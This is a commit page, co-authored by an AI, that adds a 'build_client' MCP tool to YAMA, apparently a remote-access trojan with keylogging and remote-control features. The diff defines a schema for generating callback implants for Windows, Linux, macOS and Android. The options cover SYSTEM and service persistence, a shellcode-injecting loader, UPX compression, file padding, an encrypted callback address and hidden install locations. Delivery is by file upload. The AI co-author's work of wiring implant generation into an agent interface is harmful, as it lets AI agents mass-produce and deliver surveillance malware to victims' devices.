Feature: add build_client MCP tool and improve build dialog linkage

Add a service-local MCP tool, build_client, that patches a client template
with this master's connect settings and writes the binary on the server.
It covers ghost/TestRun/ServerDll/TinyRun plus Linux, macOS and Android,
reusing the same byte path as CBuildDlg::OnBnClickedOk (CONNECT_ADDRESS
overwrite, build-date check, embedded TLS anchor before UPX/padding).
ShellCode AES and payload impersonation stay dialog-only.

The tool is gated by a new McpBuild switch (default 0) and McpReadonly=0.
It refuses to overwrite an existing file unless overwrite=true, protects
the server binaries/settings.ini/upx.exe, validates names strictly and
uses a unique UPX temp file so it cannot race the dialog. Results report
the path, size, target, TLS-anchor status and follow-up tips.

In the build dialog, Linux/macOS/Android targets now also grey out the
install-location combo/label and run mode, save and restore the Windows
compress choice, hide payload/download rows, grey the random-name and
run-as-admin menu items, and fix the TLS-anchor label for posix targets.
OnBnClickedOk is untouched; generated output is unchanged for every target.

New UI strings were added to the en_US, zh_TW and de_DE language packs.
McpBuild is off by default and changes require a server restart.
Verified on a Debug x64 instance: MCP generation for Linux is patched
correctly, Android and ghost anchor/error paths behave, and dialog-driven
Linux/TestRun/SC_AES generation still succeeds. mcp/tools.json regenerated
(55 tools); check_platform_table.py passes.

Co-Authored-By: deepseek-flash
This commit is contained in:
yuanyuanxianganddeepseek-flash committed 2026-11-15 20:43:28 +01:00
1 parent 1401ff0a4c
commit 7172ab376d
20 files changed
+1619 -36

No files matched your search

+230 -2
View File
@@ -18,7 +18,7 @@
],
"version": 2,
"protocolVersion": "2025-06-18",
"toolCount": 54,
"toolCount": 55,
"tools": [
{
"name": "list_hosts",
@@ -1207,7 +1207,7 @@
},
{
"name": "get_server_status",
"description": "获取 YAMA 服务端自身的状态:程序版本与 exe 构建时间、进程已运行秒数、MCP 监听地址与端口、各功能开关(只读/终端/远程控制/文件传输/管理/主机管理/高风险操作/键盘记录/远程交谈)、在线与离线主机数、各类在飞会话数、当前被封禁的来源 IP 数。只读、纯内存,不返回 token。",
"description": "获取 YAMA 服务端自身的状态:程序版本与 exe 构建时间、进程已运行秒数、MCP 监听地址与端口、各功能开关(只读/终端/远程控制/文件传输/文件写入/管理/主机管理/高风险操作/键盘记录/远程交谈/生成客户端)、在线与离线主机数、各类在飞会话数、当前被封禁的来源 IP 数。只读、纯内存,不返回 token。",
"gate": null,
"platforms": [
"win",
@@ -4995,6 +4995,234 @@
"type": "object"
}
},
{
"name": "build_client",
"description": "在服务端本机生成一个客户端文件(按本主控的上线配置 patch 客户端模板后落盘)。这不会修改任何在线主机,也不依赖在线主机;生成目标是模板类型而不是某台设备。支持 Windows(ghost 单文件/服务/SYSTEM、TestRun 加载器、ServerDll.dll、TinyRun.dll)、Linux、macOS 与 Android。生成地址默认取服务端当前有效主控地址(含上级 FRP 配置),也可显式传 host/port。默认会在客户端模板存在内嵌 TLS 锚块且协议为 tcp/http 时写入服务端当前证书(首连即 TLS),其余目标如实标注 tlsAnchor 状态。输出目录默认主控程序目录,已存在同名文件时默认拒绝(传 overwrite=true 才覆盖)。Windows 目标可选 upx 压缩与 padding_mb 增肥;ShellCode AES / PE→ShellCode 等需要载荷文件的模式只能用生成对话框。需服务端开启 McpBuild 且关闭只读模式。生成后可把 path 交给用户;Windows/Linux/macOS 主机可用 upload_file 送达(文件格式需与目标平台匹配),Android 需用户自行安装。",
"gate": "build",
"write": true,
"platforms": [
"win",
"lnx",
"mac",
"apk"
],
"impl": "mfc",
"inputSchema": {
"properties": {
"arch": {
"description": "Windows 目标架构,默认 x64;x86 对 testrun_injsc 与 linux/macos/android 无效(会被拒绝)。",
"enum": [
"x64",
"x86"
],
"type": "string"
},
"compress": {
"description": "压缩方式,默认 none;upx 仅 Windows 目标支持。ShellCode AES / PE→ShellCode 等需要载荷文件,只能在生成对话框里操作。",
"enum": [
"none",
"upx"
],
"type": "string"
},
"encrypt_address": {
"description": "是否加密写进客户端的 CONNECT_ADDRESS(地址/端口),默认 true。testrun_injsc 与 tinyrun 与对话框一致,不加密。",
"type": "boolean"
},
"group": {
"description": "分组名称,最长 23 字节(ANSI)。省略时与对话框一致使用 default。",
"type": "string"
},
"header_enc": {
"description": "包头加密方式,默认 hell。",
"enum": [
"shine",
"hell"
],
"type": "string"
},
"host": {
"description": "主控地址,可写分号分隔的多个地址(客户端随机选择)。省略时使用服务端当前有效主控地址(含上级 FRP 配置);两者都为空则报错。最长 99 字符。",
"type": "string"
},
"install_dir": {
"description": "Windows 安装子目录名,最长 31 字节,不能含 \\ / : * ? \" < > |。",
"type": "string"
},
"install_location": {
"description": "Windows 安装位置,默认 programdata。仅 Windows 目标有效。",
"enum": [
"programdata",
"programfiles",
"systemroot",
"appdata",
"localappdata"
],
"type": "string"
},
"install_name": {
"description": "Windows 安装程序名,最长 31 字节,不能含 \\ / : * ? \" < > |。",
"type": "string"
},
"output_dir": {
"description": "输出目录(服务端本机路径),默认主控程序所在目录;不存在会自动创建。",
"type": "string"
},
"output_name": {
"description": "输出文件名(仅文件名,不含目录),默认按 target 取 ghost.exe / TestRun.exe / ServerDll.dll / TinyRun.dll / ghost / ghost.apk。",
"type": "string"
},
"overwrite": {
"description": "目标文件已存在时是否覆盖,默认 false。为 false 时返回 -32012,确认覆盖后再传 true 重试。",
"type": "boolean"
},
"padding_mb": {
"description": "程序增肥的追加字节数(MB),默认 0;仅 Windows 目标支持。",
"maximum": 256,
"minimum": 0,
"type": "integer"
},
"port": {
"description": "主控端口,省略时使用服务端当前有效端口。",
"maximum": 65535,
"minimum": 1,
"type": "integer"
},
"protocol": {
"description": "传输协议,默认 tcp。ws/wss 需反向代理(如 nginx 443)转发到主控端口;kcp 需要主控 UDP 协议参数为 1。",
"enum": [
"tcp",
"udp",
"http",
"random",
"kcp",
"ws",
"wss"
],
"type": "string"
},
"run_as_admin": {
"description": "生成的 Windows 客户端是否请求管理员权限运行,默认 false;安装 Windows 服务时通常需要 true。",
"type": "boolean"
},
"running": {
"description": "上线方式,默认 random(随机上线)。",
"enum": [
"random",
"parallel"
],
"type": "string"
},
"target": {
"description": "生成目标:ghost(Windows 单文件 EXE)、ghost_service(Windows 服务)、ghost_system(SYSTEM 权限)、testrun_dll / testrun_memdll / testrun_injsc / testrun_service / testrun_system(TestRun 加载器)、serverdll、tinyrun、linux、macos、android。前十个是 Windows 目标;linux/macos/android 为固定架构的预编译 template,arch=x86 与 Windows 专属的 compress/padding 会被拒绝,安装目录相关参数不参与生成。",
"enum": [
"testrun_dll",
"testrun_memdll",
"testrun_injsc",
"testrun_service",
"testrun_system",
"ghost",
"ghost_service",
"ghost_system",
"serverdll",
"tinyrun",
"linux",
"macos",
"android"
],
"type": "string"
},
"tls_anchor": {
"description": "是否把服务端当前 TLS 证书作为信任锚写进客户端(首连即 TLS),默认 true。仅 ghost / ghost_service / ghost_system / serverdll 模板有锚块,且协议为 tcp/http;其余目标会如实标注为未内嵌,不视为失败。",
"type": "boolean"
}
},
"required": [
"target"
],
"type": "object"
},
"outputSchema": {
"properties": {
"arch": {
"description": "实际架构:x64 / x86;posix 目标为 native。",
"type": "string"
},
"bytes": {
"description": "最终文件字节数。",
"minimum": 0,
"type": "integer"
},
"clientType": {
"description": "客户端类型:EXE / DLL / MDLL / SC / LNX / MAC / APK。",
"type": "string"
},
"host": {
"description": "写入客户端的主控地址。",
"type": "string"
},
"name": {
"description": "输出文件名。",
"type": "string"
},
"ok": {
"description": "是否成功;失败时本工具返回 JSON-RPC error。",
"type": "boolean"
},
"overwritten": {
"description": "是否覆盖了已存在的同名文件。",
"type": "boolean"
},
"path": {
"description": "生成文件的绝对路径(服务端本机)。",
"type": "string"
},
"port": {
"description": "写入客户端的主控端口。",
"maximum": 65535,
"minimum": 1,
"type": "integer"
},
"protocol": {
"description": "写入客户端的传输协议。",
"type": "string"
},
"target": {
"description": "生成目标(与入参 target 一致)。",
"type": "string"
},
"targetLabel": {
"description": "生成目标的中文名,如「ghost.exe - Windows 服务」。",
"type": "string"
},
"tips": {
"description": "生成后需要注意的事项(KCP/WS 端口、macOS/Android 重签、锚未内嵌等)。",
"items": {
"type": "string"
},
"type": "array"
},
"tlsAnchor": {
"description": "内嵌 TLS 信任锚状态:embedded(已内嵌)/ disabled(未请求)/ not_applicable(该目标模板不含客户端代码)/ unsupported_platform(Linux/macOS/Android 模板没有锚块)/ skipped_protocol(该协议不走设备端口 TLS)/ unavailable(服务端未启用TLS)/ no_block(模板里没有锚块,已按普通客户端生成)。",
"enum": [
"embedded",
"disabled",
"not_applicable",
"unsupported_platform",
"skipped_protocol",
"unavailable",
"no_block"
],
"type": "string"
},
"tlsAnchorSummary": {
"description": "内嵌成功时的证书摘要(如 builtin 2036-11-01 sha1:...)。",
"type": "string"
}
},
"type": "object"
}
},
{
"name": "list_processes",
"description": "获取指定在线主机的进程列表(PID、映像名称、架构、程序完整路径)。通过主连接下发命令、子连接回传,一次性返回。可选 name(映像名子串,ASCII 不区分大小写)/ pid(精确)在服务端过滤,过滤在分页之前生效:total 为命中数、totalAll 为过滤前的总数。结果按 limit/offset 分页。仅在 McpMachine=0(主机管理工具关闭)时出现——那是本服务端唯一能列进程的路径;开启主机管理后改用 host_inspect 的 processes 项(字段更全、支持 arch 过滤)。",